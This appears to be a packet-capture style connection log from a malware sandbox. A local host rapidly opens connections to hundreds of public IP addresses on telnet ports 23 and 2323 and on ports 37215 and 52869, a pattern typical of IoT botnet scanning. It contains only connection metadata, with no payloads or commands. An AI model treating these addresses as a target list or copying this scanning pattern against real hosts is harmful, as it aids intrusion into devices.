Dec 4, 2024 20:34:32.243571043 CET	60275	37215	192.168.2.14	197.64.9.99
Dec 4, 2024 20:34:32.243587971 CET	37215	60275	156.41.130.113	192.168.2.14
Dec 4, 2024 20:34:32.243592978 CET	60275	37215	192.168.2.14	156.111.153.201
Dec 4, 2024 20:34:32.243597031 CET	37215	60275	41.37.156.98	192.168.2.14
Dec 4, 2024 20:34:32.243624926 CET	60275	37215	192.168.2.14	156.41.130.113
Dec 4, 2024 20:34:32.243627071 CET	60275	37215	192.168.2.14	41.37.156.98
Dec 4, 2024 20:34:32.269742966 CET	23	49524	74.195.113.28	192.168.2.14
Dec 4, 2024 20:34:32.269942045 CET	49524	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:32.270319939 CET	49820	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:32.327599049 CET	23	46178	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.328046083 CET	23	46596	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.328095913 CET	46596	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.328453064 CET	2323	43684	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.328691006 CET	2323	44100	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.328737020 CET	44100	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.329118967 CET	23	46272	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.329492092 CET	23	46688	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.329533100 CET	46688	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.329773903 CET	23	57490	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.330117941 CET	23	57906	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.330153942 CET	57906	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.330463886 CET	23	41532	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.330897093 CET	23	41946	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.330943108 CET	41946	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.331103086 CET	23	34380	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.331392050 CET	23	34798	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.331443071 CET	34798	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.331732988 CET	2323	41640	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.332123041 CET	2323	42056	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.332155943 CET	42056	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.332659960 CET	23	44766	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:32.332705021 CET	23	38514	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.332726002 CET	44766	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:32.332973957 CET	23	38930	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.333012104 CET	38930	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.333118916 CET	44840	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:32.333164930 CET	2323	59838	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.333434105 CET	23	35826	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.333450079 CET	2323	60254	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.333487034 CET	60254	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.333504915 CET	35826	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.333826065 CET	35900	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.334222078 CET	23	40098	168.179.66.198	192.168.2.14
Dec 4, 2024 20:34:32.334757090 CET	23	49908	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.334783077 CET	23	46220	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.334809065 CET	23	52424	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.334831953 CET	49908	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.335011005 CET	23	59912	112.154.109.33	192.168.2.14
Dec 4, 2024 20:34:32.335140944 CET	49982	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.335400105 CET	23	47262	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.335412025 CET	23	41682	181.153.113.81	192.168.2.14
Dec 4, 2024 20:34:32.335489035 CET	46220	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.335618973 CET	23	57326	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.335792065 CET	46294	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.336038113 CET	2323	41008	203.20.182.112	192.168.2.14
Dec 4, 2024 20:34:32.336086035 CET	23	38340	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.336194992 CET	47262	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.336484909 CET	47334	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.336733103 CET	23	55474	199.72.243.77	192.168.2.14
Dec 4, 2024 20:34:32.336878061 CET	57326	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.337163925 CET	57398	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.337431908 CET	23	37570	90.246.110.18	192.168.2.14
Dec 4, 2024 20:34:32.337510109 CET	38340	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.337815046 CET	38412	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.338185072 CET	52424	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.338186026 CET	2323	47842	128.245.230.46	192.168.2.14
Dec 4, 2024 20:34:32.338486910 CET	52504	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.338993073 CET	23	42090	157.238.54.192	192.168.2.14
Dec 4, 2024 20:34:32.339585066 CET	23	42170	90.222.115.123	192.168.2.14
Dec 4, 2024 20:34:32.340317011 CET	23	57020	37.10.115.221	192.168.2.14
Dec 4, 2024 20:34:32.340842962 CET	2323	43288	149.93.109.151	192.168.2.14
Dec 4, 2024 20:34:32.341571093 CET	23	43058	107.46.144.238	192.168.2.14
Dec 4, 2024 20:34:32.352509022 CET	23	35282	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.352607965 CET	23	35366	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.352648973 CET	35366	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.366295099 CET	60019	52869	192.168.2.14	156.158.251.132
Dec 4, 2024 20:34:32.366295099 CET	60019	52869	192.168.2.14	156.35.195.238
Dec 4, 2024 20:34:32.366300106 CET	60019	52869	192.168.2.14	41.45.75.104
Dec 4, 2024 20:34:32.366302967 CET	60019	52869	192.168.2.14	156.252.220.218
Dec 4, 2024 20:34:32.366307020 CET	60019	52869	192.168.2.14	197.44.237.179
Dec 4, 2024 20:34:32.366307020 CET	60019	52869	192.168.2.14	197.28.106.234
Dec 4, 2024 20:34:32.366323948 CET	60019	52869	192.168.2.14	156.117.227.215
Dec 4, 2024 20:34:32.366324902 CET	60019	52869	192.168.2.14	156.132.142.177
Dec 4, 2024 20:34:32.366328001 CET	60019	52869	192.168.2.14	156.23.71.207
Dec 4, 2024 20:34:32.366332054 CET	60019	52869	192.168.2.14	156.235.77.154
Dec 4, 2024 20:34:32.366338015 CET	60019	52869	192.168.2.14	41.157.158.169
Dec 4, 2024 20:34:32.366338015 CET	60019	52869	192.168.2.14	41.12.193.33
Dec 4, 2024 20:34:32.366343021 CET	60019	52869	192.168.2.14	156.246.212.93
Dec 4, 2024 20:34:32.366357088 CET	60019	52869	192.168.2.14	197.148.101.137
Dec 4, 2024 20:34:32.366357088 CET	60019	52869	192.168.2.14	41.117.252.253
Dec 4, 2024 20:34:32.366358042 CET	60019	52869	192.168.2.14	156.14.208.130
Dec 4, 2024 20:34:32.366364956 CET	60019	52869	192.168.2.14	41.80.3.195
Dec 4, 2024 20:34:32.366372108 CET	60019	52869	192.168.2.14	41.135.16.114
Dec 4, 2024 20:34:32.366379023 CET	60019	52869	192.168.2.14	41.221.148.83
Dec 4, 2024 20:34:32.366383076 CET	60019	52869	192.168.2.14	156.28.182.59
Dec 4, 2024 20:34:32.366386890 CET	60019	52869	192.168.2.14	156.126.159.18
Dec 4, 2024 20:34:32.366388083 CET	60019	52869	192.168.2.14	41.245.243.2
Dec 4, 2024 20:34:32.366391897 CET	60019	52869	192.168.2.14	197.4.151.139
Dec 4, 2024 20:34:32.366395950 CET	60019	52869	192.168.2.14	156.234.34.248
Dec 4, 2024 20:34:32.366403103 CET	60019	52869	192.168.2.14	197.225.146.179
Dec 4, 2024 20:34:32.366405964 CET	60019	52869	192.168.2.14	156.21.118.67
Dec 4, 2024 20:34:32.366409063 CET	60019	52869	192.168.2.14	197.26.216.235
Dec 4, 2024 20:34:32.366415977 CET	60019	52869	192.168.2.14	156.198.54.148
Dec 4, 2024 20:34:32.366415977 CET	60019	52869	192.168.2.14	156.237.43.83
Dec 4, 2024 20:34:32.366425037 CET	60019	52869	192.168.2.14	197.117.112.17
Dec 4, 2024 20:34:32.366425037 CET	60019	52869	192.168.2.14	156.186.148.139
Dec 4, 2024 20:34:32.366440058 CET	60019	52869	192.168.2.14	156.179.80.10
Dec 4, 2024 20:34:32.366440058 CET	60019	52869	192.168.2.14	197.48.10.118
Dec 4, 2024 20:34:32.366440058 CET	60019	52869	192.168.2.14	41.100.203.35
Dec 4, 2024 20:34:32.366444111 CET	60019	52869	192.168.2.14	41.235.53.92
Dec 4, 2024 20:34:32.366449118 CET	60019	52869	192.168.2.14	156.178.119.224
Dec 4, 2024 20:34:32.366460085 CET	60019	52869	192.168.2.14	41.54.174.76
Dec 4, 2024 20:34:32.366462946 CET	60019	52869	192.168.2.14	197.2.186.167
Dec 4, 2024 20:34:32.366477966 CET	60019	52869	192.168.2.14	156.111.136.8
Dec 4, 2024 20:34:32.366482019 CET	60019	52869	192.168.2.14	41.212.191.172
Dec 4, 2024 20:34:32.366482019 CET	60019	52869	192.168.2.14	41.234.242.126
Dec 4, 2024 20:34:32.366482019 CET	60019	52869	192.168.2.14	197.164.11.45
Dec 4, 2024 20:34:32.366482019 CET	60019	52869	192.168.2.14	156.5.104.224
Dec 4, 2024 20:34:32.366487980 CET	60019	52869	192.168.2.14	197.119.190.37
Dec 4, 2024 20:34:32.366488934 CET	60019	52869	192.168.2.14	197.54.117.21
Dec 4, 2024 20:34:32.366488934 CET	60019	52869	192.168.2.14	156.248.96.67
Dec 4, 2024 20:34:32.366489887 CET	60019	52869	192.168.2.14	197.63.149.41
Dec 4, 2024 20:34:32.366497040 CET	60019	52869	192.168.2.14	156.248.224.19
Dec 4, 2024 20:34:32.366497040 CET	60019	52869	192.168.2.14	156.100.215.110
Dec 4, 2024 20:34:32.366498947 CET	60019	52869	192.168.2.14	197.190.195.238
Dec 4, 2024 20:34:32.366498947 CET	60019	52869	192.168.2.14	197.75.86.27
Dec 4, 2024 20:34:32.366499901 CET	60019	52869	192.168.2.14	197.254.175.128
Dec 4, 2024 20:34:32.366498947 CET	60019	52869	192.168.2.14	41.20.17.249
Dec 4, 2024 20:34:32.366498947 CET	60019	52869	192.168.2.14	41.221.244.242
Dec 4, 2024 20:34:32.366498947 CET	60019	52869	192.168.2.14	41.164.208.117
Dec 4, 2024 20:34:32.366509914 CET	60019	52869	192.168.2.14	197.175.239.156
Dec 4, 2024 20:34:32.366513014 CET	60019	52869	192.168.2.14	156.192.207.47
Dec 4, 2024 20:34:32.366518974 CET	60019	52869	192.168.2.14	197.17.0.163
Dec 4, 2024 20:34:32.366518974 CET	60019	52869	192.168.2.14	41.124.59.102
Dec 4, 2024 20:34:32.366523981 CET	60019	52869	192.168.2.14	156.232.136.200
Dec 4, 2024 20:34:32.366525888 CET	60019	52869	192.168.2.14	41.202.236.139
Dec 4, 2024 20:34:32.366532087 CET	60019	52869	192.168.2.14	156.224.91.100
Dec 4, 2024 20:34:32.366534948 CET	60019	52869	192.168.2.14	197.88.184.250
Dec 4, 2024 20:34:32.366553068 CET	60019	52869	192.168.2.14	41.129.254.95
Dec 4, 2024 20:34:32.366554976 CET	60019	52869	192.168.2.14	156.140.51.6
Dec 4, 2024 20:34:32.366554976 CET	60019	52869	192.168.2.14	197.156.165.71
Dec 4, 2024 20:34:32.366556883 CET	60019	52869	192.168.2.14	156.108.11.163
Dec 4, 2024 20:34:32.366563082 CET	60019	52869	192.168.2.14	156.17.60.97
Dec 4, 2024 20:34:32.366564989 CET	60019	52869	192.168.2.14	156.223.22.233
Dec 4, 2024 20:34:32.366564989 CET	60019	52869	192.168.2.14	197.65.119.31
Dec 4, 2024 20:34:32.366564989 CET	60019	52869	192.168.2.14	156.81.194.143
Dec 4, 2024 20:34:32.366565943 CET	60019	52869	192.168.2.14	197.53.57.56
Dec 4, 2024 20:34:32.366566896 CET	60019	52869	192.168.2.14	156.193.41.1
Dec 4, 2024 20:34:32.366568089 CET	60019	52869	192.168.2.14	156.88.103.246
Dec 4, 2024 20:34:32.366568089 CET	60019	52869	192.168.2.14	41.57.170.186
Dec 4, 2024 20:34:32.366573095 CET	60019	52869	192.168.2.14	197.44.3.175
Dec 4, 2024 20:34:32.366590023 CET	60019	52869	192.168.2.14	41.10.79.79
Dec 4, 2024 20:34:32.366594076 CET	60019	52869	192.168.2.14	156.160.86.123
Dec 4, 2024 20:34:32.366596937 CET	60019	52869	192.168.2.14	156.42.224.212
Dec 4, 2024 20:34:32.366596937 CET	60019	52869	192.168.2.14	197.50.216.149
Dec 4, 2024 20:34:32.366609097 CET	60019	52869	192.168.2.14	197.180.73.190
Dec 4, 2024 20:34:32.366616964 CET	60019	52869	192.168.2.14	41.126.137.188
Dec 4, 2024 20:34:32.366616964 CET	60019	52869	192.168.2.14	197.31.208.120
Dec 4, 2024 20:34:32.366620064 CET	60019	52869	192.168.2.14	156.87.196.235
Dec 4, 2024 20:34:32.366633892 CET	60019	52869	192.168.2.14	156.73.45.169
Dec 4, 2024 20:34:32.366637945 CET	60019	52869	192.168.2.14	156.83.61.207
Dec 4, 2024 20:34:32.366641045 CET	60019	52869	192.168.2.14	156.179.176.1
Dec 4, 2024 20:34:32.366641045 CET	60019	52869	192.168.2.14	197.130.92.254
Dec 4, 2024 20:34:32.366641045 CET	60019	52869	192.168.2.14	156.184.253.35
Dec 4, 2024 20:34:32.366645098 CET	60019	52869	192.168.2.14	197.108.192.204
Dec 4, 2024 20:34:32.366645098 CET	60019	52869	192.168.2.14	197.113.3.134
Dec 4, 2024 20:34:32.366652966 CET	60019	52869	192.168.2.14	197.252.40.103
Dec 4, 2024 20:34:32.366657019 CET	60019	52869	192.168.2.14	156.248.39.179
Dec 4, 2024 20:34:32.366658926 CET	60019	52869	192.168.2.14	156.138.3.240
Dec 4, 2024 20:34:32.366660118 CET	60019	52869	192.168.2.14	156.28.194.244
Dec 4, 2024 20:34:32.366677046 CET	60019	52869	192.168.2.14	156.184.69.77
Dec 4, 2024 20:34:32.366677046 CET	60019	52869	192.168.2.14	156.242.121.132
Dec 4, 2024 20:34:32.366681099 CET	60019	52869	192.168.2.14	41.187.6.180
Dec 4, 2024 20:34:32.366681099 CET	60019	52869	192.168.2.14	41.8.6.172
Dec 4, 2024 20:34:32.366698980 CET	60019	52869	192.168.2.14	197.155.157.251
Dec 4, 2024 20:34:32.366703033 CET	60019	52869	192.168.2.14	41.25.165.168
Dec 4, 2024 20:34:32.366704941 CET	60019	52869	192.168.2.14	197.148.31.198
Dec 4, 2024 20:34:32.366704941 CET	60019	52869	192.168.2.14	156.46.141.185
Dec 4, 2024 20:34:32.366704941 CET	60019	52869	192.168.2.14	156.51.117.226
Dec 4, 2024 20:34:32.366704941 CET	60019	52869	192.168.2.14	197.160.123.92
Dec 4, 2024 20:34:32.366704941 CET	60019	52869	192.168.2.14	41.249.251.106
Dec 4, 2024 20:34:32.366708994 CET	60019	52869	192.168.2.14	41.252.45.84
Dec 4, 2024 20:34:32.366708994 CET	60019	52869	192.168.2.14	197.181.127.177
Dec 4, 2024 20:34:32.366714001 CET	60019	52869	192.168.2.14	156.217.107.29
Dec 4, 2024 20:34:32.366725922 CET	60019	52869	192.168.2.14	41.30.87.59
Dec 4, 2024 20:34:32.366725922 CET	60019	52869	192.168.2.14	197.55.104.135
Dec 4, 2024 20:34:32.366729021 CET	60019	52869	192.168.2.14	156.77.166.230
Dec 4, 2024 20:34:32.366734982 CET	60019	52869	192.168.2.14	41.65.6.110
Dec 4, 2024 20:34:32.366734982 CET	60019	52869	192.168.2.14	41.36.105.239
Dec 4, 2024 20:34:32.366749048 CET	60019	52869	192.168.2.14	41.209.159.179
Dec 4, 2024 20:34:32.366751909 CET	60019	52869	192.168.2.14	156.211.241.50
Dec 4, 2024 20:34:32.366751909 CET	60019	52869	192.168.2.14	156.184.38.53
Dec 4, 2024 20:34:32.366751909 CET	60019	52869	192.168.2.14	197.70.123.24
Dec 4, 2024 20:34:32.366751909 CET	60019	52869	192.168.2.14	41.107.96.13
Dec 4, 2024 20:34:32.366751909 CET	60019	52869	192.168.2.14	197.114.151.169
Dec 4, 2024 20:34:32.366755009 CET	60019	52869	192.168.2.14	156.59.63.181
Dec 4, 2024 20:34:32.366756916 CET	60019	52869	192.168.2.14	156.153.132.151
Dec 4, 2024 20:34:32.366759062 CET	60019	52869	192.168.2.14	197.180.86.152
Dec 4, 2024 20:34:32.366760969 CET	60019	52869	192.168.2.14	156.12.35.82
Dec 4, 2024 20:34:32.366760969 CET	60019	52869	192.168.2.14	197.52.206.221
Dec 4, 2024 20:34:32.366767883 CET	60019	52869	192.168.2.14	156.122.89.129
Dec 4, 2024 20:34:32.366769075 CET	60019	52869	192.168.2.14	41.225.80.178
Dec 4, 2024 20:34:32.366775990 CET	60019	52869	192.168.2.14	41.208.69.118
Dec 4, 2024 20:34:32.366781950 CET	60019	52869	192.168.2.14	197.148.54.249
Dec 4, 2024 20:34:32.366786957 CET	60019	52869	192.168.2.14	197.117.71.140
Dec 4, 2024 20:34:32.366786957 CET	60019	52869	192.168.2.14	156.241.241.204
Dec 4, 2024 20:34:32.366797924 CET	60019	52869	192.168.2.14	156.117.102.72
Dec 4, 2024 20:34:32.366803885 CET	60019	52869	192.168.2.14	41.178.61.212
Dec 4, 2024 20:34:32.366806030 CET	60019	52869	192.168.2.14	197.37.80.56
Dec 4, 2024 20:34:32.366808891 CET	60019	52869	192.168.2.14	156.7.207.173
Dec 4, 2024 20:34:32.366811037 CET	60019	52869	192.168.2.14	41.209.74.143
Dec 4, 2024 20:34:32.366811037 CET	60019	52869	192.168.2.14	156.89.224.99
Dec 4, 2024 20:34:32.366825104 CET	60019	52869	192.168.2.14	41.86.203.29
Dec 4, 2024 20:34:32.366833925 CET	60019	52869	192.168.2.14	156.117.92.187
Dec 4, 2024 20:34:32.366835117 CET	60019	52869	192.168.2.14	197.161.22.170
Dec 4, 2024 20:34:32.366841078 CET	60019	52869	192.168.2.14	41.19.38.136
Dec 4, 2024 20:34:32.366846085 CET	60019	52869	192.168.2.14	41.111.196.79
Dec 4, 2024 20:34:32.366846085 CET	60019	52869	192.168.2.14	41.182.79.118
Dec 4, 2024 20:34:32.366848946 CET	60019	52869	192.168.2.14	41.148.173.226
Dec 4, 2024 20:34:32.366856098 CET	60019	52869	192.168.2.14	197.104.213.193
Dec 4, 2024 20:34:32.366856098 CET	60019	52869	192.168.2.14	41.205.158.224
Dec 4, 2024 20:34:32.366861105 CET	60019	52869	192.168.2.14	197.239.11.111
Dec 4, 2024 20:34:32.366862059 CET	60019	52869	192.168.2.14	156.170.210.134
Dec 4, 2024 20:34:32.366878986 CET	60019	52869	192.168.2.14	156.161.128.246
Dec 4, 2024 20:34:32.366883993 CET	60019	52869	192.168.2.14	41.23.197.214
Dec 4, 2024 20:34:32.366884947 CET	60019	52869	192.168.2.14	41.52.59.81
Dec 4, 2024 20:34:32.366888046 CET	60019	52869	192.168.2.14	197.247.242.104
Dec 4, 2024 20:34:32.366888046 CET	60019	52869	192.168.2.14	156.161.118.144
Dec 4, 2024 20:34:32.366889954 CET	60019	52869	192.168.2.14	41.126.154.22
Dec 4, 2024 20:34:32.366890907 CET	60019	52869	192.168.2.14	156.38.84.19
Dec 4, 2024 20:34:32.366890907 CET	60019	52869	192.168.2.14	41.112.90.145
Dec 4, 2024 20:34:32.366894960 CET	60019	52869	192.168.2.14	156.123.12.221
Dec 4, 2024 20:34:32.366897106 CET	60019	52869	192.168.2.14	156.17.202.115
Dec 4, 2024 20:34:32.366899014 CET	60019	52869	192.168.2.14	41.59.64.16
Dec 4, 2024 20:34:32.366903067 CET	60019	52869	192.168.2.14	156.14.41.51
Dec 4, 2024 20:34:32.390552998 CET	23	49524	74.195.113.28	192.168.2.14
Dec 4, 2024 20:34:32.390681982 CET	23	49820	74.195.113.28	192.168.2.14
Dec 4, 2024 20:34:32.390758038 CET	49820	23	192.168.2.14	74.195.113.28
Dec 4, 2024 20:34:32.449716091 CET	23	46596	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.449763060 CET	2323	44100	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.449865103 CET	46596	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.449893951 CET	23	46688	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.450409889 CET	46658	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.450479031 CET	44100	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.450479031 CET	46688	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.450548887 CET	23	57906	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.451057911 CET	44100	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.451371908 CET	44162	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.451527119 CET	23	41946	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.451777935 CET	46688	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.451950073 CET	23	34798	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.452141047 CET	46750	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.452397108 CET	2323	42056	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.452589035 CET	57906	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.452712059 CET	23	44766	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:32.452904940 CET	57968	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.453186035 CET	23	44840	18.64.164.142	192.168.2.14
Dec 4, 2024 20:34:32.453234911 CET	44840	23	192.168.2.14	18.64.164.142
Dec 4, 2024 20:34:32.453329086 CET	34798	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.453454018 CET	23	35826	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.453464031 CET	23	38930	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.453632116 CET	34858	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.453656912 CET	23	35900	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.453691959 CET	35900	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.453916073 CET	2323	60254	149.210.117.222	192.168.2.14
Dec 4, 2024 20:34:32.454046011 CET	41946	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.454408884 CET	42010	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.454479933 CET	60254	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.454480886 CET	38930	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.454487085 CET	42056	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.454832077 CET	42056	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.454982042 CET	23	49908	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.455152035 CET	42118	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.455395937 CET	23	49982	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.455446005 CET	49982	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.455634117 CET	38930	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.455935001 CET	38992	23	192.168.2.14	183.146.203.76
Dec 4, 2024 20:34:32.455948114 CET	23	46220	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.456269026 CET	23	46294	159.106.17.172	192.168.2.14
Dec 4, 2024 20:34:32.456307888 CET	46294	23	192.168.2.14	159.106.17.172
Dec 4, 2024 20:34:32.456307888 CET	60254	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.456623077 CET	60316	2323	192.168.2.14	149.210.117.222
Dec 4, 2024 20:34:32.456629992 CET	23	47262	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.456973076 CET	23	47334	160.193.185.221	192.168.2.14
Dec 4, 2024 20:34:32.457010984 CET	47334	23	192.168.2.14	160.193.185.221
Dec 4, 2024 20:34:32.457367897 CET	23	57326	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.457642078 CET	23	57398	201.237.203.245	192.168.2.14
Dec 4, 2024 20:34:32.457680941 CET	57398	23	192.168.2.14	201.237.203.245
Dec 4, 2024 20:34:32.457952976 CET	23	38340	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.458235979 CET	23	38412	44.251.194.145	192.168.2.14
Dec 4, 2024 20:34:32.458281994 CET	38412	23	192.168.2.14	44.251.194.145
Dec 4, 2024 20:34:32.458457947 CET	23	52424	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.459076881 CET	23	52504	8.194.249.0	192.168.2.14
Dec 4, 2024 20:34:32.459115982 CET	52504	23	192.168.2.14	8.194.249.0
Dec 4, 2024 20:34:32.474016905 CET	23	35366	110.0.125.196	192.168.2.14
Dec 4, 2024 20:34:32.474128008 CET	35366	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.474510908 CET	35404	23	192.168.2.14	110.0.125.196
Dec 4, 2024 20:34:32.487942934 CET	52869	60019	156.158.251.132	192.168.2.14
Dec 4, 2024 20:34:32.488003969 CET	60019	52869	192.168.2.14	156.158.251.132
Dec 4, 2024 20:34:32.488023996 CET	52869	60019	41.45.75.104	192.168.2.14
Dec 4, 2024 20:34:32.488038063 CET	52869	60019	197.44.237.179	192.168.2.14
Dec 4, 2024 20:34:32.488044024 CET	52869	60019	156.252.220.218	192.168.2.14
Dec 4, 2024 20:34:32.488049030 CET	52869	60019	156.35.195.238	192.168.2.14
Dec 4, 2024 20:34:32.488163948 CET	60019	52869	192.168.2.14	197.44.237.179
Dec 4, 2024 20:34:32.488169909 CET	60019	52869	192.168.2.14	41.45.75.104
Dec 4, 2024 20:34:32.488177061 CET	60019	52869	192.168.2.14	156.252.220.218
Dec 4, 2024 20:34:32.488183975 CET	60019	52869	192.168.2.14	156.35.195.238
Dec 4, 2024 20:34:32.571039915 CET	23	46596	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.571774960 CET	23	46658	41.232.236.37	192.168.2.14
Dec 4, 2024 20:34:32.571938992 CET	46658	23	192.168.2.14	41.232.236.37
Dec 4, 2024 20:34:32.572293043 CET	2323	44100	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.572710037 CET	2323	44162	73.219.199.141	192.168.2.14
Dec 4, 2024 20:34:32.572753906 CET	44162	2323	192.168.2.14	73.219.199.141
Dec 4, 2024 20:34:32.573113918 CET	23	46688	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.573443890 CET	23	46750	72.154.248.245	192.168.2.14
Dec 4, 2024 20:34:32.573493004 CET	46750	23	192.168.2.14	72.154.248.245
Dec 4, 2024 20:34:32.573802948 CET	23	57906	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.574150085 CET	23	57968	180.221.166.246	192.168.2.14
Dec 4, 2024 20:34:32.574191093 CET	57968	23	192.168.2.14	180.221.166.246
Dec 4, 2024 20:34:32.574596882 CET	23	34798	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.574975967 CET	23	34858	87.158.11.91	192.168.2.14
Dec 4, 2024 20:34:32.575022936 CET	34858	23	192.168.2.14	87.158.11.91
Dec 4, 2024 20:34:32.575169086 CET	23	35900	87.18.192.151	192.168.2.14
Dec 4, 2024 20:34:32.575242043 CET	35900	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.575340986 CET	23	41946	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.575632095 CET	35934	23	192.168.2.14	87.18.192.151
Dec 4, 2024 20:34:32.575747013 CET	23	42010	141.195.64.207	192.168.2.14
Dec 4, 2024 20:34:32.575788021 CET	42010	23	192.168.2.14	141.195.64.207
Dec 4, 2024 20:34:32.576148987 CET	2323	42056	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.576427937 CET	2323	42118	180.191.196.252	192.168.2.14
Dec 4, 2024 20:34:32.576463938 CET	42118	2323	192.168.2.14	180.191.196.252
Dec 4, 2024 20:34:32.576714993 CET	23	38930	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.576904058 CET	23	49982	67.211.69.196	192.168.2.14
Dec 4, 2024 20:34:32.576953888 CET	49982	23	192.168.2.14	67.211.69.196
Dec 4, 2024 20:34:32.577044010 CET	23	38992	183.146.203.76	192.168.2.14
Dec 4, 2024 20:34:32.577085972 CET	38992	23	192.168.2.14	183.146.203.76
